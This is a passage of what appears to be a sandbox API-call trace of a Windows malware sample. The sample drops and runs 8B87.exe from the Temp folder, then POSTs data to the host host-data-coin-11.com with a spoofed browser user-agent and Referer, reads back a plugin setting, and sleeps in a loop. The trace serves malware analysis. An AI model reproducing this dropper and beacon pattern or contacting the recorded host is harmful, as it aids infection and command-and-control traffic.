lpString2="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87" | out: lpString1="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87") returned="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87" [0182.740] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x476010) returned 0x210 [0182.741] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x476010) returned 1 [0182.741] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x470720 [0182.741] lstrcatW (in: lpString1="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87", lpString2=".exe" | out: lpString1="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87.exe") returned="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87.exe" [0182.741] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470720) returned 0x12 [0182.741] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470720) returned 1 [0182.741] CreateFileW (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\8b87.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x147c [0182.741] WriteFile (in: hFile=0x147c, lpBuffer=0xb450000*, nNumberOfBytesToWrite=0x16c600, lpNumberOfBytesWritten=0xfd4fd18, lpOverlapped=0x0 | out: lpBuffer=0xb450000*, lpNumberOfBytesWritten=0xfd4fd18*=0x16c600, lpOverlapped=0x0) returned 1 [0182.786] CloseHandle (hObject=0x147c) returned 1 [0182.994] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName=0x0, lpCommandLine="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\", lpStartupInfo=0xfd4fd40*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xfd4fd20, hNewToken=0x0 | out: lpProcessInformation=0xfd4fd20*(hProcess=0x2184, hThread=0x147c, dwProcessId=0x1338, dwThreadId=0xe4c), hNewToken=0x0) returned 1 [0183.131] CloseHandle (hObject=0x2184) returned 1 [0183.131] CloseHandle (hObject=0x147c) returned 1 [0183.131] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7e47e054 [0183.131] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x64) returned 0x470720 [0183.131] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x19527470 [0183.131] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb6df0390 [0183.131] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9a30895c [0183.131] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x418cedc [0183.131] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3536beed [0183.131] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb856f5a [0183.131] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x476f961c [0183.131] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb51f3cfe [0183.131] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x40d1cf47 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xe24d6ba1 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa065af91 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x8b1ffa5c [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd3614c5b [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4ad35220 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xef7e4c4c [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4ad5f08 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x76c8d3d9 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x469bc3bd [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7fe490e8 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf671337 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x75825145 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf1291ba0 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6f768eec [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x52cfbc19 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x50d06f93 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa534aa9c [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1e901781 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7110928b [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcab5efa3 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x32e12390 [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6a10fd3c [0183.132] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb9f29605 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x13596675 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd541e3b4 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf0446f5 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x48fa51b0 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x93729f02 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa6b600d [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa870e8a [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x917615f [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x26cc3d76 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xba6b34e5 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x85502655 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x75a48cd3 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd7ed0fae [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa22c7ded [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x4e79fa57 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfc2c9fa4 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xad069bcc [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3419b04c [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd4730cf5 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6ac27acc [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x411888e [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x42c8872a [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xb2e86dab [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xdb384a83 [0183.133] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x363bc098 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x52f26305 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3b7fb136 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3d34370 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x641e1de7 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf6cfb28 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc78610dc [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x84649199 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x668c8b90 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf7ca05cf [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2d3079b3 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xc17e0546 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x516fbe4 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x2ee57515 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd9b513d9 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xae1efb64 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5a06d609 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xabe9949c [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x1ce2eb74 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf5a13e2e [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x53262a14 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd01718b4 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa1db3a55 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x508f756a [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbd0a3870 [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xbf506a0c [0183.134] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xf93cf322 [0183.135] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x6de05f5e [0183.135] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xa5b7deb8 [0183.135] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x31016238 [0183.135] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xfac33376 [0183.135] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x75810756 [0183.135] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd5406d57 [0183.135] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x70d36468 [0183.135] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x48c1fc9a [0183.135] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xb3) returned 0x476010 [0183.135] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0183.135] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0183.135] lstrcatA (in: lpString1="", lpString2="pub3" | out: lpString1="pub3") returned="pub3" [0183.135] lstrcatA (in: lpString1="", lpString2="Siwaf!!OJ@,_:uU+J*YZ(%7d6ohH&a?\"Ngyb\"P!&$QQK>@*j7W.S\"+6lZ2cFy,Q*h9oABmaRL" | out: lpString1="bGA99F@<:w%&/JMONLznot[bH+NDtJ\"KA\"Ngyb\"P!&$QQK>@*j7W.S\"+6lZ2cFy,Q*h9oABmaRL") returned="bGA99F@<:w%&/JMONLznot[bH+NDtJ\"KA\"Ngyb\"P!&$QQK>@*j7W.S\"+6lZ2cFy,Q*h9oABmaRL" [0243.258] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10c) returned 0x471a10 [0243.258] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0243.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x471840, cbMultiByte=30, lpWideCharStr=0x471a10, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0243.258] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0xfd4fc18 | out: pProxyConfig=0xfd4fc18) returned 1 [0243.270] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8623c80 [0243.272] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xfd4fcd0 | out: lpUrlComponents=0xfd4fcd0) returned 1 [0243.272] WinHttpConnect (hSession=0x8623c80, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86c98a0 [0243.272] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x470810 [0243.272] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x68) returned 0x471b30 [0243.272] WinHttpOpenRequest (hConnect=0x86c98a0, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x86ab3a0 [0243.273] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x4e) returned 0x471ba0 [0243.273] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10d) returned 0x471c00 [0243.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x9b21eea0 [0243.273] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x471d20 [0243.273] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x17) returned 0x471d40 [0243.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xae769b69 [0243.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x356cc861 [0243.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x7f04d2f3 [0243.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xd5a17b8c [0243.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xcde60925 [0243.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x56303d76 [0243.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0xaedb3261 [0243.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x3d9c43a2 [0243.273] RtlRandom (in: Seed=0x2290e9e | out: Seed=0x2290e9e) returned 0x5f92a16e [0243.273] wsprintfW (in: param_1=0x471c00, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://iehbnpgc.org/") returned 42 [0243.273] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471d40) returned 0x17 [0243.273] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471d40) returned 1 [0243.273] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471d20) returned 0x12 [0243.273] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471d20) returned 1 [0243.273] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471ba0) returned 0x4e [0243.274] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471ba0) returned 1 [0243.274] WinHttpAddRequestHeaders (hRequest=0x86ab3a0, pwszHeaders="Accept: */*\r\nReferer: http://iehbnpgc.org/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0243.274] WinHttpSendRequest (hRequest=0x86ab3a0, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x471910*, dwOptionalLength=0xe1, dwTotalLength=0xe1, dwContext=0x0) returned 1 [0243.952] WinHttpReceiveResponse (hRequest=0x86ab3a0, lpReserved=0x0) returned 1 [0243.952] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x2800) returned 0x475df0 [0243.954] WinHttpReadData (in: hRequest=0x86ab3a0, lpBuffer=0x475df0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x475df0*, lpdwNumberOfBytesRead=0xfd4fd88*=0x18) returned 1 [0243.954] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x475df0, Size=0x5000) returned 0x475df0 [0243.955] WinHttpReadData (in: hRequest=0x86ab3a0, lpBuffer=0x475e08, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x475e08*, lpdwNumberOfBytesRead=0xfd4fd88*=0x0) returned 1 [0243.955] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x450000 [0243.957] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x475df0) returned 1 [0243.959] WinHttpCloseHandle (hInternet=0x86ab3a0) returned 1 [0243.959] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471c00) returned 0x10d [0243.960] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471c00) returned 1 [0243.960] WinHttpCloseHandle (hInternet=0x86c98a0) returned 1 [0243.960] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471b30) returned 0x68 [0243.961] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471b30) returned 1 [0243.961] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470810) returned 0x12 [0243.961] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470810) returned 1 [0243.961] WinHttpCloseHandle (hInternet=0x8623c80) returned 1 [0243.961] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471a10) returned 0x10c [0243.962] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471a10) returned 1 [0243.962] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470760) returned 0x9b [0243.962] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470760) returned 1 [0243.962] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471910) returned 0xea [0243.962] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471910) returned 1 [0243.962] lstrlenA (lpString="ä\x070|:|plugin_size=0") returned 19 [0243.962] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x15) returned 0x470760 [0243.962] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0243.962] lstrlenA (lpString="plugin_size") returned 11 [0243.962] atoi (_Str="0") returned 0 [0243.962] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0243.962] lstrlenA (lpString="|:|") returned 3 [0243.962] MapViewOfFile (hFileMappingObject=0x19ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2890000 [0243.972] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0243.972] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x2890000) returned 0x0 [0244.075] atoi (_Str="0") returned 0 [0244.075] VirtualFree (lpAddress=0x450000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0244.076] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x26 [0244.077] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0244.077] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0244.077] Sleep (dwMilliseconds=0x258) [0244.080] Sleep (dwMilliseconds=0x258) [0244.092] Sleep (dwMilliseconds=0x258) [0244.100] Sleep (dwMilliseconds=0x258) [0244.102] Sleep (dwMilliseconds=0x258) [0244.120] Sleep (dwMilliseconds=0x258) [0244.242] Sleep (dwMilliseconds=0x258) [0244.254] Sleep (dwMilliseconds=0x258) [0244.255] Sleep (dwMilliseconds=0x258) [0244.257] Sleep (dwMilliseconds=0x258) [0244.275] Sleep (dwMilliseconds=0x258) [0244.276] Sleep (dwMilliseconds=0x258) [0244.278] Sleep (dwMilliseconds=0x258) [0244.279] Sleep (dwMilliseconds=0x258) [0244.281] Sleep (dwMilliseconds=0x258) [0244.282] Sleep (dwMilliseconds=0x258) [0244.293] Sleep (dwMilliseconds=0x258) [0244.362] Sleep (dwMilliseconds=0x258) [0244.372] Sleep (dwMilliseconds=0x258) [0244.414] Sleep (dwMilliseconds=0x258) [0244.416] Sleep (dwMilliseconds=0x258) [0244.423] Sleep (dwMilliseconds=0x258) [0244.431] Sleep (dwMilliseconds=0x258) [0244.438] Sleep (dwMilliseconds=0x258) [0244.446] Sleep (dwMilliseconds=0x258) [0244.491] Sleep (dwMilliseconds=0x258) [0244.492] Sleep (dwMilliseconds=0x258) [0244.552] Sleep (dwMilliseconds=0x258) [0244.553] Sleep (dwMilliseconds=0x258) [0244.560] Sleep (dwMilliseconds=0x258) [0244.561] Sleep (dwMilliseconds=0x258) [0244.563] Sleep (dwMilliseconds=0x258) [0244.565] Sleep (dwMilliseconds=0x258) [0244.567] Sleep (dwMilliseconds=0x258) [0244.569] Sleep (dwMilliseconds=0x258) [0244.570] Sleep (dwMilliseconds=0x258) [0244.571] Sleep (dwMilliseconds=0x258) [0244.573] Sleep (dwMilliseconds=0x258) [0244.581] Sleep (dwMilliseconds=0x258) [0244.601] Sleep (dwMilliseconds=0x258) [0244.609] Sleep (dwMilliseconds=0x258) [0244.689] Sleep (dwMilliseconds=0x258) [0244.698] Sleep (dwMilliseconds=0x258) [0244.705] Sleep (dwMilliseconds=0x258) [0244.707] Sleep (dwMilliseconds=0x258) [0244.709] Sleep (dwMilliseconds=0x258) [0244.716] Sleep (dwMilliseconds=0x258) [0244.718] Sleep (dwMilliseconds=0x258) [0244.719] Sleep (dwMilliseconds=0x258) [0244.721] Sleep (dwMilliseconds=0x258) [0244.724] Sleep (dwMilliseconds=0x258) [0244.726] Sleep (dwMilliseconds=0x258) [0244.727] Sleep (dwMilliseconds=0x258) [0244.729] Sleep (dwMilliseconds=0x258) [0244.730] Sleep (dwMilliseconds=0x258) [0244.732] Sleep (dwMilliseconds=0x258) [0244.733] Sleep (dwMilliseconds=0x258) [0244.809] Sleep (dwMilliseconds=0x258) [0244.843] Sleep (dwMilliseconds=0x258) [0244.844] Sleep (dwMilliseconds=0x258) [0244.845] Sleep (dwMilliseconds=0x258) [0244.847] Sleep (dwMilliseconds=0x258) [0244.849] Sleep (dwMilliseconds=0x258) [0244.850] Sleep (dwMilliseconds=0x258) [0244.852] Sleep (dwMilliseconds=0x258) [0244.854] Sleep (dwMilliseconds=0x258) [0244.863] Sleep (dwMilliseconds=0x258) [0244.872] Sleep (dwMilliseconds=0x258) [0244.873] Sleep (dwMilliseconds=0x258) [0244.881] Sleep (dwMilliseconds=0x258) [0244.883] Sleep (dwMilliseconds=0x258) [0244.885] Sleep (dwMilliseconds=0x258) [0244.889] Sleep (dwMilliseconds=0x258) [0244.982] Sleep (dwMilliseconds=0x258) [0245.041] Sleep (dwMilliseconds=0x258) [0245.094] Sleep (dwMilliseconds=0x258) [0245.126] Sleep (dwMilliseconds=0x258) [0245.311] Sleep (dwMilliseconds=0x258) [0245.318] Sleep (dwMilliseconds=0x258) [0245.320] Sleep (dwMilliseconds=0x258) [0245.324] Sleep (dwMilliseconds=0x258) [0245.325] Sleep (dwMilliseconds=0x258) [0245.327] Sleep (dwMilliseconds=0x258) [0245.329] Sleep (dwMilliseconds=0x258) [0245.331] Sleep (dwMilliseconds=0x258) [0245.332] Sleep (dwMilliseconds=0x258) [0245.334] Sleep (dwMilliseconds=0x258) [0245.337] Sleep (dwMilliseconds=0x258) [0245.339] Sleep (dwMilliseconds=0x258) [0245.341] Sleep (dwMilliseconds=0x258) [0245.343] Sleep (dwMilliseconds=0x258) [0245.345] Sleep (dwMilliseconds=0x258) [0245.347] Sleep (dwMilliseconds=0x258) [0245.348] Sleep (dwMilliseconds=0x258) [0245.353] Sleep (dwMilliseconds=0x258) [0245.355] Sleep (dwMilliseconds=0x258) [0245.463] Sleep (dwMilliseconds=0x258) [0245.464] Sleep (dwMilliseconds=0x258) [0245.604] Sleep (dwMilliseconds=0x258) [0245.606] Sleep (dwMilliseconds=0x258) [0245.608] Sleep (dwMilliseconds=0x258) [0245.610] Sleep (dwMilliseconds=0x258) [0245.612] Sleep (dwMilliseconds=0x258) [0245.614] Sleep (dwMilliseconds=0x258) [0245.616] Sleep (dwMilliseconds=0x258) [0245.623] Sleep (dwMilliseconds=0x258) [0245.631] Sleep (dwMilliseconds=0x258) [0245.633] Sleep (dwMilliseconds=0x258) [0245.635] Sleep (dwMilliseconds=0x258) [0245.640] Sleep (dwMilliseconds=0x258) [0245.763] Sleep (dwMilliseconds=0x258) [0245.765] Sleep (dwMilliseconds=0x258) [0245.766] Sleep (dwMilliseconds=0x258) [0245.768] Sleep (dwMilliseconds=0x258) [0245.769] Sleep (dwMilliseconds=0x258) [0245.771] Sleep (dwMilliseconds=0x258) [0245.773] Sleep (dwMilliseconds=0x258) [0245.819] Sleep (dwMilliseconds=0x258) [0245.898] Sleep (dwMilliseconds=0x258) [0245.990] Sleep (dwMilliseconds=0x258) [0245.991] Sleep (dwMilliseconds=0x258) [0245.993] Sleep (dwMilliseconds=0x258) [0245.994] Sleep (dwMilliseconds=0x258) [0246.002] Sleep (dwMilliseconds=0x258) [0246.010] Sleep (dwMilliseconds=0x258) [0246.017] Sleep (dwMilliseconds=0x258) [0246.020] Sleep (dwMilliseconds=0x258) [0246.079] Sleep (dwMilliseconds=0x258) [0246.081] Sleep (dwMilliseconds=0x258) [0246.128] Sleep (dwMilliseconds=0x258) [0246.135] Sleep (dwMilliseconds=0x258) [0246.148] Sleep (dwMilliseconds=0x258) [0246.151] Sleep (dwMilliseconds=0x258) [0246.152] Sleep (dwMilliseconds=0x258) [0246.154] Sleep (dwMilliseconds=0x258) [0246.156] Sleep (dwMilliseconds=0x258) [0246.157] Sleep (dwMilliseconds=0x258) [0246.192] Sleep (dwMilliseconds=0x258) [0246.193] Sleep (dwMilliseconds=0x258) [0246.277] Sleep (dwMilliseconds=0x258) [0246.278] Sleep (dwMilliseconds=0x258) [0246.280] Sleep (dwMilliseconds=0x258) [0246.281] Sleep (dwMilliseconds=0x258) [0246.283] Sleep (dwMilliseconds=0x258) [0246.284] Sleep (dwMilliseconds=0x258) [0246.286] Sleep (dwMilliseconds=0x258) [0246.287] Sleep (dwMilliseconds=0x258) [0246.295] Sleep (dwMilliseconds=0x258) [0246.303] Sleep (dwMilliseconds=0x258) [0246.311] Sleep (dwMilliseconds=0x258) [0246.323] Sleep (dwMilliseconds=0x258) [0246.335] Sleep (dwMilliseconds=0x258) [0246.424] Sleep (dwMilliseconds=0x258) [0246.432] Sleep (dwMilliseconds=0x258) [0246.443] Sleep (dwMilliseconds=0x258) [0246.445] Sleep (dwMilliseconds=0x258) [0246.446] Sleep 